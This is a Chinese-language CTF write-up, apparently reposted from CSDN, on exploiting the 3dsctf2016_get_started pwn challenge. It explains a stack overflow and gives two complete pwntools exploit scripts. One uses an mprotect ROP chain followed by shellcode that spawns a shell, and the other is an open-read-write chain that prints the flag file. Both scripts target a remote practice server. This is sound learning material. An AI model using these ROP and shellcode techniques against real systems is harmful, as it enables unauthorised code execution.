【pwn】 3dsctf2016_get_started

例行检查
在这里插入图片描述file一下,发现是静态连接的,还没有Pie。
在这里插入图片描述分析程序发现是简单栈溢出,还有一个get_flag函数?于是直接返回到get_flag函数执行,但是远程没有打通,然后试了下本地可以打通,然后猜测可能是远程环境部署错了,没有flag.txt文件?
然后试试别的方法。
由于是静态链接里面函数还是很多的。

1.mprotect,修改某地址为rwx,随后写入shellcode,然后getshell。

from pwn import *

io=remote('node3.buuoj.cn', 26518)
#io=process('./pwn')
mprotect=0x806EC80 
pop3_ret=0x809e4c5
#pop2_ret=0x806fc31
bss=0x80EC000 
read=0x806E140
#op=0x806E0D0 
#write=0x806E1B0
#flag=0x80BC388

pl='a'*0x38+p32(mprotect)+p32(pop3_ret)+p32(bss)+p32(0x1000)+p32(7)
pl+=p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
#pl='a'*0x38+p32(op)+p32(pop2_ret)+p32(flag)+p32(0)+p32(read)+p32(pop3_ret)+p32(3)+p32(bss)+p32(64)+p32(write)+'dead'+p32(1)+p32(bss)+p32(64)

io.sendline(pl)

shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

然后发现。
在这里插入图片描述
远程环境里有flag.txt,那我就不懂了,不知道为什么之前远程打不通(我太菜了)

2.orw也可以

from pwn import *

io=remote('node3.buuoj.cn', 26518)
#io=process('./pwn')
#mprotect=0x806EC80 
pop3_ret=0x809e4c5
pop2_ret=0x806fc31
bss=0x80EC000 
read=0x806E140
op=0x806E0D0 
write=0x806E1B0
flag=0x80BC388

#pl='a'*0x38+p32(mprotect)+p32(pop3_ret)+p32(bss)+p32(0x1000)+p32(7)
#pl+=p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
pl='a'*0x38+p32(op)+p32(pop2_ret)+p32(flag)+p32(0)
pl+=p32(read)+p32(pop3_ret)+p32(3)+p32(bss)+p32(64)
pl+=p32(write)+'dead'+p32(1)+p32(bss)+p32(64)

io.sendline(pl)

#shellcode=asm(shellcraft.sh())
#io.sendline(shellcode)

io.interactive()

在这里插入图片描述
所以是为啥呢。

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/103515713
pwn